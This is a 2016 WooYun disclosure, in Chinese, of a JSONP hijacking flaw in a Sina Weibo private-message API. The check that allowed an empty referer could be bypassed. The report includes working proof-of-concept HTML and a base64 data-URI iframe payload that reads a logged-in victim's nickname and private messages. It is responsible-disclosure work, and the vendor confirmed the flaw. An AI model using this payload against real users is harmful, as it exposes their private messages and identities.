当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0166571

漏洞标题:你点我的链接我就可以知道你的微博昵称和你的部分私信

相关厂商:新浪微博

漏洞作者: salt

提交时间:2016-01-01 09:19

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:CSRF

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-01: 细节已通知厂商并且等待厂商处理中
2016-01-01: 厂商已经确认,细节仅向厂商公开
2016-01-11: 细节向核心白帽子及相关领域专家公开
2016-01-21: 细节向普通白帽子公开
2016-01-31: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

我扶了扶眼镜框。。

详细说明:

新浪获取部分私信的接口存在jsonp劫持漏洞。
http://api.weibo.com/webim/2/direct_messages/contacts.json?source=209678993&count=200&add_virtual_user=5,&is_include_group=0&callback=STK_14511436516391
在登录微博的情况下访问以上接口会得到一个私信的列表,从中可以提取出部分私信已经双方的昵称来。这个接口做了referer检查,但是允许referer为空。用iframe的data伪协议即可绕过

漏洞证明:

构造获取信息并进行操作的页面。

<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<body>
<script>
function STK_14511436516391(data){
var nickname = "";
var doc = "";
for (var i = 0; i < data.data.contacts.length; i++) {
username = data.data.contacts[i].user.name
msg = data.data.contacts[i].message.text
nickname = data.data.contacts[i].message.recipient_screen_name
doc += username+":<br>"+msg+"<br><br>"
}
doc = "Hello "+nickname+", here is your latest private message list:<br><br>"+doc
document.write(doc)
}
</script>
<script src="http://api.weibo.com/webim/2/direct_messages/contacts.json?source=209678993&count=200&add_virtual_user=5,&is_include_group=0&callback=STK_14511436516391"></script>
</body>


用iframe解决referer问题。即最终payload为:

<iframe src="data:text/html;base64,PGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiPgo8L2hlYWQ+Cjxib2R5Pgo8c2NyaXB0PgpmdW5jdGlvbiBTVEtfMTQ1MTE0MzY1MTYzOTEoZGF0YSl7Cgl2YXIgbmlja25hbWUgPSAiIjsKCXZhciBkb2MgPSAiIjsKCWZvciAodmFyIGkgPSAwOyBpIDwgZGF0YS5kYXRhLmNvbnRhY3RzLmxlbmd0aDsgaSsrKSB7CgkJdXNlcm5hbWUgPSBkYXRhLmRhdGEuY29udGFjdHNbaV0udXNlci5uYW1lCgkJbXNnID0gZGF0YS5kYXRhLmNvbnRhY3RzW2ldLm1lc3NhZ2UudGV4dAoJCW5pY2tuYW1lID0gZGF0YS5kYXRhLmNvbnRhY3RzW2ldLm1lc3NhZ2UucmVjaXBpZW50X3NjcmVlbl9uYW1lCgkJZG9jICs9IHVzZXJuYW1lKyI6PGJyPiIrbXNnKyI8YnI+PGJyPiIKCX0KCWRvYyA9ICJIZWxsbyAiK25pY2tuYW1lKyIsIGhlcmUgaXMgeW91ciBsYXRlc3QgcHJpdmF0ZSBtZXNzYWdlIGxpc3Q6PGJyPjxicj4iK2RvYwoJZG9jdW1lbnQud3JpdGUoZG9jKQp9Cjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cDovL2FwaS53ZWliby5jb20vd2ViaW0vMi9kaXJlY3RfbWVzc2FnZXMvY29udGFjdHMuanNvbj9zb3VyY2U9MjA5Njc4OTkzJmNvdW50PTIwMCZhZGRfdmlydHVhbF91c2VyPTUsJmlzX2luY2x1ZGVfZ3JvdXA9MCZjYWxsYmFjaz1TVEtfMTQ1MTE0MzY1MTYzOTEiPjwvc2NyaXB0Pgo8L2JvZHk+" width="100%" height="100%">


将上面代码保存为1.html,打开并且更改显示编码为UTF-8即可看到昵称和部分私信。

修复方案:

不允许空的referer?好像这样也会出一些奇怪的问题。。
加一些不可预测的参数吧
你们比我懂!

版权声明:转载请注明来源 salt@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-01-01 23:06

厂商回复:

感谢关注新浪安全,问题修复中。

最新状态:

暂无